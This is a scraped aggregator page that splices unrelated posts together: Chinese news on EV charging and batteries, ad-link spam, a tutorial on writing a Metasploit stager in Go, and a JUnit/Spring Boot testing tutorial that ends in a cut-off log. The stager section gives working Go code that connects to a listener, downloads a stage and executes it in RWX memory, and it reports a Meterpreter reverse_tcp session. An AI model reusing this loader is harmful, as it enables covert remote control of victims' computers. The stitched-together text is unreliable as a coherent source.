電動車進駐大樓,ChargePoint 推出公寓大樓用電動車充電座

在美國,許多人都擁有寬敞的車庫,買了電動車就在車庫中設置充電座,然而若是市區中的大樓住戶,只能停在大樓地下室密密麻麻的停車格,買電動車可就麻煩了。電動車充電座製造商 ChargePoint 看見了這個問題,計劃推出公寓大樓用電動車充電座,解除大樓住戶購買電動車的障礙。    
  《富比世》報導,當特斯拉 Model S 電動車上市時,Gogoro 創辦人陸學森原本想要擁有一輛,但是第一個問題是在台灣沒有上市,就算進口一輛,台灣的住處大樓沒有獨立車庫,無法安裝幫 Model S 電動車充電的充電座,若非要開 Model S 電動車,只能在公司裝設充電座在公司充電,但這樣一來,週末就無法開出去兜風,豈不是大煞風景,最後陸學森在女友說服下,還是打退堂鼓。   這個困擾,其實也是各國所有大樓住戶的困擾,雖然以美國來說,如加州等地區路上設有充電站,不過電動車車主總是想要在家把電充飽飽才開出門,以免半路沒電,據美國能源部統計,80% 電動車都是在家充電,要是在家不能充電,購買電動車的意願就會降低,ChargePoint  執行長帕斯奎‧羅曼諾(Pasquale Romano)表示,除了少數例外,住大樓的人通常不買電動車,正是因為如此。   那要如何改善這個情況?羅曼諾認為,過去為了讓少數電動車主能在大樓停車場充電,大樓業主得全數自掏腰包在停車場設置充電座,投資風險很高,因此意願低落,但大樓業主如果並不用負擔充電座的設置費用,像大樓附設的投幣式自助洗衣機一樣,由業者來設置機器,這樣就成了。      
可吸引高收入使用者   2015 年 4 月,ChargePoint 宣布推出大樓專用的充電座系統,大樓業主不用負擔設置費用,這部分完全由 ChargePoint  吸收,大樓業主只需要為充電座連接電力即可,ChargePoint 會向用戶收取每月 39.99 美元的月費,電費部分則由住戶直接交給大樓業主,如果有電動車的住戶搬走了,ChargePoint 可以暫時關閉住戶所屬停車格的充電座,直到下一位有電動車的住戶入住才重新啟動,這樣一來,大樓業主的風險可說降到極低,勢必能提高安裝充電座的意願。   對大樓來說,提供停車場充電座設施,可吸引電動車車主,讓大樓更快租出,電動車車主又通常是高收入、高社經地位的良好住戶,對大樓有額外幫助;而對 ChargePoint 來說,能打進大樓這片處女地,是開拓新市場的絕佳機會,估計至 2020 年,美國將有 230 萬電動車主,其中有 10% 將會住在大樓內,這種合作方式對大樓與 ChargePoint 可說是雙贏局面。   想出免費贈送充電座商業模式的也不只 ChargePoint,曾經推出低價「開源碼」充電座的新創事業 EMotorWerks,2014 年推出特別活動,免費贈送原本售價 299 美元的 JuiceBox 充電座,條件是用戶要有可用的 Wi-Fi,讓充電座能將資訊傳給 EMotorWerks,以及用戶同意可由 EMotorWerks 來調整充電速度。    
 

    用戶只需要在行動裝置的專屬 App 上,告訴 EMotorWerks 何時要用車要充飽電力,EMotorWerks 會根據電力的離峰尖峰情況,自動調整充電速度,盡可能讓電力都在離峰時充電。在加州,尖峰電價可能高出平均電價 30 倍以上,避開尖峰時段充電可以為用戶節省大量電費;另一方面,也相當於為電網平衡離尖峰電力需求,如夜間風力發電過剩,可加速充電把多餘的電力用掉,尖峰時暫停充電,緩和尖峰負載。   EMotorWerks 未來的營收可望來自為用戶節省電費的服務、為電網調節平衡的服務,以及出售所收集的數據,為此,免費贈送充電座也划算。   EMotorWerks 的點子,也可能為 ChargePoint 採用,ChargePoint 充電座也可能成為大樓業主調節電力負載與電費支出的利器。無論如何,在充電座業者的推波助瀾下,電動車的充電障礙,將漸漸減輕。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

特斯拉推儲能電池系統 德國石墨陽極商 SGL 受惠

美國豪華電動車製造商特斯拉 (Tesla) 跨界家用電池,德國汽車碳纖維生產商西格里集團 (SGL Carbon SE) 在投資人期待該公司可望因此受惠的激勵下,股價創下近三個月以來最大單日漲幅。   SGL 主要是為日立、Panasonic 這些日本電子大廠供應石墨陽極材料,而日立、Panasonic 則會將電池元件賣給特斯拉。   Bankhaus Lampe 分析師 Marc Gabriel 說,SGL 是少數幾家能因電池需求增溫而受惠的德國業者。根據報導,SGL 發言人已確認,該公司的確是日立、Panasonic 的石墨陽極材料供應商。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

鋰電池再生利用,新創事業 FreeWire 推行動充電車

  特斯拉(Tesla)高調宣布鋰電池儲能系統,其中針對企業用戶的「Powerpack」,100 度電售價 25,000 美元,已將平均儲能成本拉低到相當驚人的每度電 250 美元,一般認為若平均儲能成本降到每度電 100 美元,將引爆能源儲存革命,特斯拉挾 GigaFactory 的威力,正全速逼近這個目標,不過,卻有一個小型新創事業,認為現在就可以做到。   這家新創事業 FreeWire 初期募資金額不過 42.5 萬美元,加上美國海軍資助 50 萬美元,如何能超越家大業大的特斯拉?其實原理也不難,就是採用二手電池。   FreeWire 、日產(Nissan)與 NEC 合資的汽車能源供應公司(Automotive Energy Supply Corporation,AESC)合作,AESC 是僅次於 Panasonic,全球第二大車用鋰電池供應商,市佔率達 21%,2014 年銷售最佳的電動車是 Nissan Leaf,其電池正是由 AESC 供應,Nissan 每個月都會測試電池,每六個月就汰換效能已經衰退的鋰電池,數量以千計,對 Nissan 來說庫存這些二線電池是個麻煩,但這些電池的效能或許已經不不敷電動車所需,拿來做為能源儲存用途卻還很有用。   於是,FreeWire 以新電池六分之一的價格取得這些二手電池,第一步,是取之於電動車用之於電動車,將這些二手電池組裝成總容量 48 度電的行動充電車,專供電動車在本來沒有設置充電座的停車場、機場、企業廠區等處充電,行動充電車可以推到停車場任何一個停車格,幫電動車充電,如此一來,停車場可以省下設置大量充電座的成本,卻能提供身為少數的電動車主充電服務,而這些二手電池在每天充放電循環 2 次的情況下,還可以有 5 年的壽命。  
 

    由於使用二手電池,FreeWire 裝置的每度電成本只有 100 美元,執行長阿卡迪‧索西諾夫(Arcady Sosinov)表示,電池產業界要到 2030 年才能達到的成本目標,他們用二手電池壓低成本,所以現在就已經做到。   阿卡迪‧索西諾夫的野心不只是為電動車行動充電,他認為二手電池的商機相當廣大,同樣的系統也可用來取代柴油發電機,為沒有電力供應之處供電,或是作為備援電力,而鋰電池供電比起柴油發電機有更大的優勢,那就是不會產生噪音與廢氣。如果要在戶外辦一場蚊子電影院,使用鋰電池系統顯然更好,而許多開發中國家的手機基地台因電網不穩定都有備用電源需求,以往這些取代柴油發電機的系統生意由奇異的獨拉松獨佔,如今以二手電池成本之低,也可與之競爭。   更進一步,二手電池系統也可進軍特斯拉正大張旗鼓進入的家庭與企業能源儲存領域,不過,二手電池的發展,也不是只會和特斯拉打對台,因為特斯拉發展電動車也一樣會面臨汰換大量二手電池,這些二手電池若都可再利用製成能源儲存裝置,對特斯拉也是一項利多。   FreeWire 利用二手電池的想法也給能源儲存業界一個啟發,過去鋰電池效能會衰退是產業界的一大問題,但換個方向思考,開啟電池的分級使用,反而可開創許多價格彈性商機。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

特斯拉Q1財報優 今年或賣出5.5萬輛車

特斯拉6日公佈首季財報,銷售金額比去年同期增加 50%,營收高達 11 億美元,每股淨損 36 美分,優於分析師預期,股價盤後上漲 2.4%,上個月則已累積大漲達 13%。同時,特斯拉預計新的太陽能電池廠將在今年第 3 季啟用,明年第一季前汽車產能估計將快速暴增。   特斯拉首季賣出的車輛達 10045 輛,稍優於原先發佈的 10030 輛,預期 2015 年總銷售車輛將可達 5.5 萬輛。同時,特斯拉的最新車款 Model X 也將於第三季開始販售。特斯拉表示,受到美元強勢走升的影響,今年首季提列的匯損金額高達 2200 萬美元,預計第二季 Model X 的售價仍會受美元影響,因此其將在第三季後調漲部分歐洲市場的電動車售價。   目前特斯拉仍積極在美國擴產,第三季新的太陽能電池廠就即將啟用,汽車產能到了 2016 年首季可望大幅增加。去年馬斯克稱將在內華達州建造一個超級電池工廠,到了 2020 年將生產約 50 萬顆的鋰電池。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

新北清潔公司,居家、辦公、裝潢細清專業服務

刺激銷量?北京6月起收取電動車充電服務費

北京市發改委於5月7日發佈了《關於本市電動汽車充電服務收費有關問題的通知》,從2015年6月1日起,提供電動汽車充電服務的充電設施經營單位在收取電費的同時,可按充電電量額外收取充電服務費,每千瓦時收費上限標準為當日本市92號汽油每升最高零售價的15%。各經營單位可在不超過上限標準情況下,制定具體收費標準。   其充電服務費上限標準隨油價變動自行動態調整。如2015年4月29日本市92號汽油最高零售價為6.46元人民幣(下同)/升,則充電服務收費上限標準為6.46元的15%,即0.97元/度。油價上升,充電服務費相應上升油價下降,充電服務費相應下降。   北京市發改委副主任高朋指出,根據測算,此標準可以確保電動汽車動力成本低於燃油汽車。以本市銷售相對較好的北汽E150EV電動汽車為例(100公里平均耗電16度),當油價在6-10元/升區間變動時,充電服務費為每度電0.9元-1.5元。按國家發展改革委檔,對向電力公司直接報裝的充電服務設施,按大工業用電價格標準執行,按此測算,加上電價費用,電動汽車動力成本約為同款燃油汽車的50%-60%左右。   對此有觀點認為,發改委此舉會影響電動汽車銷量,降低消費者對電動車的購買慾。汽車產業分析師張志勇指出,目前,電動車推廣最大的障礙是充電問題,《通知》中規定了電動車充電服務費,可以鼓勵一些民營資本來加入電動車充電網路的建設,此舉將加快北京地區的充電網路建設。   張志勇還指出,即使充電設施經營單位額外收取充電服務費,這個成本也是遠遠低於燃油車的用車成本,這對消費者來看並不能產生多大影響。因此《通知》發布後不僅不會影響電動車的銷量,反而會增加消費者購買電動車的信心。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

一起玩轉微服務(14)——單元測試

作為一名java開發者,相信你或多或少的接觸過單元測試,對於測試來講它是一門能夠區分專業開發人員與業餘開發人員的重要學科,這篇文章將對java中最常見的一個單元測試框架junit進行一個梳理和講解。

為什麼需要單元測試

在平時的開發當中,一個項目往往包含了大量的方法,可能有成千上萬個。如何去保證這些方法產生的結果是我們想要的呢?當然了,最容易想到的一個方式,就是我們通過System.out來輸出我們的結果,看看是不是滿足我們的需求,但是項目中這些成千上萬個方法,我們總不能在每一個方法中都去輸出一遍嘛。這也太枯燥了。這時候用我們的單元測試框架junit就可以很好地解決這個問題。

junit如何解決這個問題的呢?答案在於內部提供了一個斷言機制,他能夠將我們預期的結果和實際的結果進行比對,判斷出是否滿足我們的期望。

預備工作

junit4是一個單元測試框架,既然是框架,這也就意味着jdk並沒有為我們提供api,因此在這裏我們就需要導入相關的依賴。

junit4是一個單元測試框架,既然是框架,這也就意味着jdk並沒有為我們提供api,因此在這裏我們就需要導入相關的依賴。

這裏的版本是4.12。當然還有最新的版本。你可以手動選擇。這裏選用的是4的版本。

案例

這裏我們要測試的功能超級簡單,就是加減乘除法的驗證。

然後我們看看如何使用junit去測試。

以上就是我們的單元測試,需要遵循一下規則:

  • •每一個測試方法上使用@Test進行修飾
  • •每一個測試方法必須使用public void 進行修飾
  • •每一個測試方法不能攜帶參數
  • •測試代碼和源代碼在兩個不同的項目路徑下
  • •測試類的包應該和被測試類保持一致
  • •測試單元中的每個方法必須可以獨立測試

以上的6條規則,是在使用單元測試的必須項,當然junit也建議我們在每一個測試方法名加上test前綴,表明這是一個測試方法。

assertEquals是一個斷言的規則,裏面有兩個參數,第一個參數表明我們預期的值,第二個參數表示實際運行的值。

我們運行一下測試類,就會運行每一個測試方法,我們也可以運行某一個,只需要在相應的測試方法上面右鍵運行即可。如果運行成功編輯器的控制台不會出現錯誤信息,如果有就會出現failure等信息。

運行流程

在上面的每一個測試方法中,代碼是相當簡單的,就一句話。現在我們分析一下這個測試的流程是什麼:

在上面的代碼中,我們使用了兩個測試方法,還有junit運行整個流程方法。我們可以運行一下,就會出現下面的運行結果:

從上面的結果我們來畫一張流程圖就知道了:

如果我們使用過SSM等其他的一些框架,經常會在before中添加打開數據庫等預處理的代碼,也會在after中添加關閉流等相關代碼。

註解

對於@Test,裏面有很多參數供我們去選擇。我們來認識一下

  • •@Test(expected=XX.class) 這個參數表示我們期望會出現什麼異常,比如說在除法中,我們1/0會出現ArithmeticException異常,那這裏@Test(expected=ArithmeticException.class)。在測試這個除法時候依然能夠通過。
  • •@Test(timeout=毫秒 ) 這個參數表示如果測試方法在指定的timeout內沒有完成,就會強制停止。
  • •@Ignore 這個註解其實基本上不用,他的意思是所修飾的測試方法會被測試運行器忽略。•@RunWith 更改測試運行器。

測試套件

如果我們的項目中如果有成千上萬個方法,那此時也要有成千上萬個測試方法嘛?如果這樣junit使用起來還不如System.out呢,現在我們認識一下測試嵌套的方法,他的作用是我們把測試類封裝起來,也就是把測試類嵌套起來,只需要運行測試套件,就能運行所有的測試類了。

下面我們使用測試套件,把這些測試類嵌套在一起。

 

 

 

參數化設置

什麼是參數化設置呢?在一開始的代碼中我們看到,測試加法的時候是1+1,不過我們如果要測試多組數據怎麼辦?總不能一個一個輸入,然後運行測試吧。這時候我們可以把我們需要測試的數據先配置好。

這時候再去測試,只需要去選擇相應的值即可,避免了我們一個一個手動輸入。

spring boot + junit

通過spring suite tools新建工程

 

 

1. Controller

@RestController
@RequestMapping
public class BookController {
    @RequestMapping("/books")
    public String book() {
        System.out.println("controller");
        return "book";
    }
}

Test1 引入Spring上下文,但不啟動tomcat

@RunWith(SpringRunner.class)
@SpringBootTest  //引入Spring上下文 -> 上下文中的 bean 可用,自動注入
public class BookControllerTest {
    
    @Autowired
    private BookController bookController;  //自動注入
    
    @Test
    public void testControllerExists() {
        Assert.assertNotNull(bookController);
    }
    
}

Test2 引入Spring上下文,且啟動Tomcat 模擬生產環境,接收Http請求

package com.cloud.skyme;

import org.junit.Assert;
import org.junit.jupiter.api.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.test.context.junit4.SpringRunner;

/** * @author zhangfeng * web單元測試 * */
@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class Chapter0302junitApplicationTests {
	
	@LocalServerPort
    private int port;
	
	@Autowired
	private TestRestTemplate restTemplate;
    
    @Test
    public void testControllerExists() {
    	Assert.assertEquals(this.restTemplate.getForObject("http://localhost:" + port + "/books", String.class), "book");
    }

}

@RunWith(SpringRunner.class),讓測試運行於Spring測試環境,此註釋在org.springframework.test.annotation包中提供。
@SpringBootTest指定Sspring Bboot程序的測試引導入口。
TestRestTemplate是用於測試rest接口的模板類。
運行單元測試,測試上面邊構建的Wweb地址,可以看到輸出的測試結果與期望的結果相同.

運行單元測試,得到與期望相同的結果。

    
javascript    44行

13:31:03.722 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating CacheAwareContextLoaderDelegate from class [org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate] 13:31:03.739 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating BootstrapContext using constructor [public org.springframework.test.context.support.DefaultBootstrapContext(java.lang.Class,org.springframework.test.context.CacheAwareContextLoaderDelegate)] 13:31:03.801 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating TestContextBootstrapper for test class [com.cloud.skyme.Chapter0302junitApplicationTests] from class [org.springframework.boot.test.context.SpringBootTestContextBootstrapper] 13:31:03.830 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.cloud.skyme.Chapter0302junitApplicationTests], using SpringBootContextLoader 13:31:03.837 [main] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: class path resource [com/cloud/skyme/Chapter0302junitApplicationTests-context.xml] does not exist 13:31:03.838 [main] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: class path resource [com/cloud/skyme/Chapter0302junitApplicationTestsContext.groovy] does not exist 13:31:03.838 [main] INFO org.springframework.test.context.support.AbstractContextLoader - Could not detect default resource locations for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
13:31:03.839 [main] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: Chapter0302junitApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration. 13:31:03.918 [main] DEBUG org.springframework.test.context.support.ActiveProfilesUtils - Could not find an 'annotation declaring class' for annotation type [org.springframework.test.context.ActiveProfiles] and class [com.cloud.skyme.Chapter0302junitApplicationTests] 13:31:04.070 [main] DEBUG org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider - Identified candidate component class: file [C:\java\workspace\microservice\chapter0302junit\target\classes\com\cloud\skyme\Chapter0302junitApplication.class] 13:31:04.073 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.cloud.skyme.Chapter0302junitApplication for test class com.cloud.skyme.Chapter0302junitApplicationTests 13:31:04.225 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - @TestExecutionListeners is not present for class [com.cloud.skyme.Chapter0302junitApplicationTests]: using defaults. 13:31:04.226 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener] 13:31:04.243 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Skipping candidate TestExecutionListener [org.springframework.test.context.transaction.TransactionalTestExecutionListener] due to a missing dependency. Specify custom listener classes or make the default listener classes and their required dependencies available. Offending class: [org/springframework/transaction/interceptor/TransactionAttributeSource] 13:31:04.244 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Skipping candidate TestExecutionListener [org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener] due to a missing dependency. Specify custom listener classes or make the default listener classes and their required dependencies available. Offending class: [org/springframework/transaction/interceptor/TransactionAttribute] 13:31:04.244 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Using TestExecutionListeners: [org.springframework.test.context.web.ServletTestExecutionListener@7133da86, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener@3232a28a, org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener@73e22a3d, org.springframework.boot.test.autoconfigure.SpringBootDependencyInjectionTestExecutionListener@47faa49c, org.springframework.test.context.support.DirtiesContextTestExecutionListener@28f2a10f, org.springframework.test.context.event.EventPublishingTestExecutionListener@f736069, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener@6da21078, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener@7fee8714, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener@4229bb3f, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener@56cdfb3b, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener@2b91004a, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener@20ccf40b] 13:31:04.250 [main] DEBUG org.springframework.test.context.support.AbstractDirtiesContextTestExecutionListener - Before test class: context [DefaultTestContext@6cd28fa7 testClass = Chapter0302junitApplicationTests, testInstance = [null], testMethod = [null], testException = [null], mergedContextConfiguration = [WebMergedContextConfiguration@614ca7df testClass = Chapter0302junitApplicationTests, locations = '{}', classes = '{class com.cloud.skyme.Chapter0302junitApplication}', contextInitializerClasses = '[]', activeProfiles = '{}', propertySourceLocations = '{}', propertySourceProperties = '{org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true, server.port=0}', contextCustomizers = set[org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer@3b07a0d6, org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory$DuplicateJsonObjectContextCustomizer@14d3bc22, org.springframework.boot.test.mock.mockito.MockitoContextCustomizer@0, org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer@45b9a632, org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer@0, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory$Customizer@5e316c74, org.springframework.boot.test.context.SpringBootTestArgs@1], resourceBasePath = 'src/main/webapp', contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader', parent = [null]], attributes = map['org.springframework.test.context.web.ServletTestExecutionListener.activateListener' -> false]], class 